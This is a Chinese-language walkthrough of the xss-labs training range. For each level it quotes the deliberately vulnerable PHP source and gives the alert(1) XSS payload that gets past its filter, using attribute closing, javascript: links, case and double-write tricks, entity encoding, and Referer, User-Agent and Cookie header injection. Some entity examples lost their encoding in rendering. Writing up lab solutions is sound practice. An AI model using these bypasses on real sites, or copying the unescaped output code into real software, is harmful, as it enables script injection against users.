xss-labs-master
其他靶場見專欄
文章目錄
- xss-labs-master
- level-1
- level-2
- level-3
- level-4
- level-5
- level-6
- level-7
- level-8
- level-9
- level-10
- level-11
- level-12
- level-13
- level-14
- level-15
- level-16
- level-17
- level-18
- level-19
- level-20
level-1
第一關沒有進行任何限制,get請求參數直接回顯至界面,修改參數值就行。
?name=<script>alert(1)</script>
level-2
第二關頁面是一個輸入框,輸入的值會回顯至頁面中,所以先試一下**<script>alert(1)</script>**發現頁面回顯的消息直接就是我們輸入的內容,并沒有任何作用。
根據上面的圖片可以知道我們的尖括號被轉義為實體(沒看到的話就選中右擊選擇Edit as HTML),因為源代碼中使用了htmlspecialchars($str)。下面的敏感符號也會轉義為HTML實體:&號,左右尖括號,單雙引號,(這個函數具有三個參數,第一個參數為必選參數,表示待處理的字符串,第二個參數為可選參數,專門針對字符串中的引號操作,默認值:ENT_COMPAT,只轉換雙引號。ENT_QUOTS,單引號和雙引號同時轉換。ENT_NOQUOTES,不對引號進行轉換。第三個參數為處理字符串的指定字符集)
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
但是input標簽中我們輸入的值也會顯示在那,所以我嘗試構造閉合,在input標簽實現跨站腳本攻擊。
<input name=keyword value="'.$str.'">
首先嘗試輸入一個引號探針試一下引號有沒有被過濾,沒有被過濾就使用onfocus焦點事件、onblur競爭焦點事件。
- onfocus焦點事件:
11" onfocus=alert(1)>
- onblur競爭焦點事件:
1" onblur=alert(1)>
以及其他可以改變DOM結構的payload都可以…
level-3
輸入<script>alert(1)</script>發現回顯的地方尖括號變為HTML實體了,輸入雙引號嘗試在input標簽構造閉合,發現雙引號被轉為HTML實體。查看源代碼,發現回顯的地方和輸入框的value均使用了htmlspecialchars函數。
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>"."<center> <input name=keyword value='".htmlspecialchars($str)."'>
它對雙引號進行了防御但是沒有對單引號進行防御,所以我們可以通過事件標簽促發xss攻擊,因為**單引號在某些瀏覽器也可以和雙引號構成閉合。**這里使用onfocus鼠標事件,任何其他可以改變DOM結構的是按都可以促發攻擊。
- onfocus鼠標事件:
1' onfocus='alert(/xss/)
level-4
這一關還是一個輸入框加上一個回顯,輸入一個探針<script>'",查看input標簽發現尖括號被吞了,但是單引號雙引號正常存在。查看源代碼發現尖括號被替換了:
$str2=str_replace(">","",$str); $str3=str_replace("<","",$str2);echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <input name=keyword value="'.$str3.'">
所以直接使用onfocus或者onblue等等,但是不能使用改變DOM結構的標簽了。
- onfocus鼠標事件:
1" onfocus="alert(1)
注意點就是需要閉合后面的雙引號…
level-5
這一關還是一個輸入框和回顯,輸入<script>‘”探針試一下,發現script被下劃線截斷了,單雙引號尖括號還是正常存在,所以猜測這一關就是對敏感詞進行截斷的,輸入on發現on一樣被截斷,所以直接使用script和onfocus之類的不行了。查看源代碼:
$str = strtolower($_GET["keyword"]); $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2);echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <input name=keyword value="'.$str3.'">
通過代碼可知,這一關對<script和on進行截斷,并且使用小寫轉化函數,所以不能使用大小寫繞過了。我們可以做到的就是閉合,閉合的話就可以改變DOM結構,但是很多的標簽觸發條件都是onfocus什么的,這時就可以使用javascript偽協議。
- javascript偽協議:
1"><a href="javascript:alert(1)">xssssss</a>
level-6
輸入探針<sCript><script"'Oonn發現script和on被添加下劃線,但是大小寫繞過的script卻沒有被添加下劃線,同樣的單雙引號、尖括號也沒有被轉義。
查看源代碼發現好多的標簽選項都被過濾了,但是這沒有使用小寫轉換函數,所以直接使用大小寫繞過是可以的。
$str = $_GET["keyword"]; $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5);echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <input name=keyword value="'.$str6.'">
- javascript偽協議:
"><a HREF="javascript:alert(1)">xsssss</a>
- onfocus鼠標事件:
1" Onfocus=alert(1)>
level-7
輸入探針<sCript><script"'Oonn發現script和on無論大小寫都不見了,單雙引號也不見了,但是尖括號還在,所以估計這些內容是被小寫轉化并且被replace了。
進行replace操作一般會嘗試雙寫繞過,所以輸入scrscriptipt發現,這一關僅僅消去了一個script標簽,消去之后還會拼接成一個新的script,所以可以進行雙寫繞過。查看源代碼:
$str =strtolower( $_GET["keyword"]); $str2=str_replace("script","",$str); $str3=str_replace("on","",$str2); $str4=str_replace("src","",$str3); $str5=str_replace("data","",$str4); $str6=str_replace("href","",$str5);echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <input name=keyword value="'.$str6.'">
- javascript偽協議雙寫繞過:
1"><a hrhrefef="javascrscriptipt:alert(1)">xssssss</a>
level-8
這一關和前面的就有些不一樣了,我們輸入的內容會作為a標簽的href值,所以我們嘗試輸入script,發現script被截斷了。查看源代碼:
$str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','"',$str6);<input name=keyword value="'.htmlspecialchars($str).'"> echo '<center><BR><a href="'.$str7.'">友情鏈接</a></center>';
由于這是href的值我們可以嘗試構造javascript偽協議,script被截斷了,所以我們可以嘗試將其轉化為HTML實體:
javascript => javascript
- 轉化為HTML實體:
javascript:alert(1)
level-9
這一道題也是友情鏈接,他給出的提示是“您的鏈接不合法?有沒有!”輸入sCript,發現sCript轉化為小寫并且被截斷,并且使用HTML實體顯示的是鏈接不合法,所以我們要給他一個正確的鏈接,它認為正確的鏈接是什么呢?查看源代碼:
$str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','"',$str6);<input name=keyword value="'.htmlspecialchars($str).'">if (false === strpos($str7, 'http://')) {echo '<center><BR><a href="您的鏈接不合法?有沒有!">友情鏈接</a></center>'; } else {echo '<center><BR><a href="' . $str7 . '">友情鏈接</a></center>'; }
這一關使用了strpos函數,這個函數的作用是返回指定文本第一次出現的位置,如果沒有出現那就返回false,所以我們只需要輸入有http://的鏈接就行了,對于偽協議,我們把它加上,并且把它注釋掉就行了,并且要加在后面。
- 轉化為HTML實體的偽協議:
javascript:alert(1)//http://
level-10
這一關是值是在URL的參數上,不在輸入框上了,意味著鼠標事件沒有用了,必須使用尖括號。使用探針sCript<'>"on=On發現,只有尖括號被轉化成HTML實體。本來想著將尖括號轉化成HTML實體看看行不行,但是發現轉化的實體是帶有&參數分隔符的。查看源代碼發現,有一個被隱藏的form表單,里面有三個參數:
<form id="search"><input name="t_link" value="" type="hidden"><input name="t_history" value="" type="hidden"><input name="t_sort" value="" type="hidden"> </form>
所以在URL中加上這三個參數,發現僅僅第三個input標簽變化了,所以猜測第三個標簽是在value選項中插入值的。
查看源代碼確實如此:
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str11 = $_GET["t_sort"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.$str33.'" type="hidden"> </form> </center>'; ?>
所以我們嘗試在t_sort中使用探針,僅僅尖括號被改變了而已,所以我們直接onfocus鼠標事件,注意要將type的值改為text否則無法顯示出來,或者F12修改Elements也可。
- onfocus鼠標事件:
?keyword=1&t_link=1&t_history=1&t_sort=1" onfocus="alert(1)" type="text
level-11
這一關還是URL參數的,有了上一關的經驗,這次查看源代碼,發現多出了一個input標簽:
<form id="search"><input name="t_link" value="" type="hidden"><input name="t_history" value="" type="hidden"><input name="t_sort" value="" type="hidden"><input name="t_ref" value="http://192.168.255.128/xss-labs-master/level10.php?keyword=1&t_link=1&t_history=1&t_sort=1%22%20οnmοuseοver=%22alert(1)%22%20type=%22text" type="hidden"> </form>
第四個標簽的值很熟悉,這是我上一個鏈接,所以我猜測這是和referer頭有關的,所以抓包!構造閉合!鼠標事件!改type的值!查看源代碼確實如此,原來的t_sort不能用了:
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ref" value="'.$str33.'" type="hidden">
- Refer頭:
Referer: 1" onmouseover=alert(1) type="text
level-12
查看源代碼發現還是多出來一個input標簽,但是它的名字是t_ua,所以猜測這是和User-Agent有關的,查看源代碼:
$str11=$_SERVER['HTTP_USER_AGENT']; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22);<form id=search><input name="t_link" value="'.'" type="hidden"><input name="t_history" value="'.'" type="hidden"><input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"><input name="t_ua" value="'.$str33.'" type="hidden"> </form>
可見這一關對引號和on之類的沒有進行過濾,所以我們進行抓包,從User-Agent中實現xss攻擊。
User-Agent: 1" onfocus=alert(1) type="text
level-13
這一關和前面一樣也是隱藏了一些輸入框,對于這一關,隱藏了一個t_cook,所以猜測這是和cookie相關的,分析源代碼:
$str11=$_COOKIE["user"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22);<form id=search><input name="t_link" value="'.'" type="hidden"><input name="t_history" value="'.'" type="hidden"><input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"><input name="t_cook" value="'.$str33.'" type="hidden"> </form>
進行抓包,對input使用onfocus鼠標事件:
Cookie: user=1" onfocus=alert(1) type="text
level-14
網上說這一關有點問題
level-15
這一道題沒有任何輸入框也沒與任何回顯,查看元素發現底下有一個**<!-- ngInclude: undefined -->**,一開始并不知道這是什么東西,搜了一下,ng-include 指令用于包含外部的 HTML 文件,包含的內容將作為指定元素的子節點,包含的文件需要包含在同一個域名下。查看了一下源代碼,發現這一關是可以接收參數了,因為一開始進去沒有參數所以ngInclude才是undefined:
<?php ini_set("display_errors", 0); $str = $_GET["src"]; echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>'; ?>
因為這里對閉合符號進行處理,所以我想的是傳遞一個有漏洞的界面,將第一關傳上去,注意要加上單引號:
但是如果將<script>alert(1)</script>作為第一關的答案傳上去,是沒有彈窗的,但是這個script標簽會在代碼元素中,那就試一下使用a標簽,結果可知,主動觸發的是可以的。
level-16
這一關正常了,是一個url參數的題,首先輸入一下探針吧,<Script '" Oonn>=href,結果是尖括號、空格、script被替換,其中空格和尖括號被替換成HTML實體,script被過濾,大小轉化為小寫。查看源代碼:
$str = strtolower($_GET["keyword"]); $str2=str_replace("script"," ",$str); $str3=str_replace(" "," ",$str2); $str4=str_replace("/"," ",$str3); $str5=str_replace(" "," ",$str4);
沒有空格的化可以使用%0a和%ob等代替,script使用不了就用input標簽的onfocus:
?keyword=<input%0atype="text"%0aonfocus=alert(1)>
level-17
這一關進去之后會看到一個“該插件不受支持”,查看元素發現有一個**<embed src=“xsf01.swf?=” width=“100%” heigth=“100%”>**,所以猜測這個src是和參數有關的,查看源代碼:
<?php ini_set("display_errors", 0); echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>"; ?>
果然存在兩個參數,我們傳遞這兩個參數的時候,點號會把他們連接起來,嘗試使用引號和尖括號發現都被轉義了,當我發現src中會截斷空格,所以嘗試在arg01中添加空格:
?arg01=1 onmouseover&arg02=alert(1)
level-18
這一關和上一關一樣的,用一樣的方法就可以了…搞不懂了…
level18.php?arg01=1 onmouseover&arg02=alert(1)
level-19
這一關我嘗試使用空格截斷,發現并不可以所以查看源代碼,發現這一關在雙引號中進行點號運算,所以空格截斷不可取:
<?php ini_set("display_errors", 0); echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>'; ?>
使用單引號嘗試能不能和閉合一下,發現單引號僅僅是普通文本,尖括號也是作為普通文本,這樣子常規的方法無法下手了。接著我搜索xsf03.swf是什么來的,于是訪問一下http://192.168.255.128/xss-labs-master/xsf03.swf,將文件下載下來,要使用專用的FlashPlayer播放器打開,但是使用了也打不開。。。網上搜了一下,彈出了個swf反編譯,所以試了一下。得到version未定義,接著傳入參數<a href=‘javascript:alert(/xss/)’>xss</a>,但最后結果沒有顯示,不會做了,逆向的題
level-20
不會做…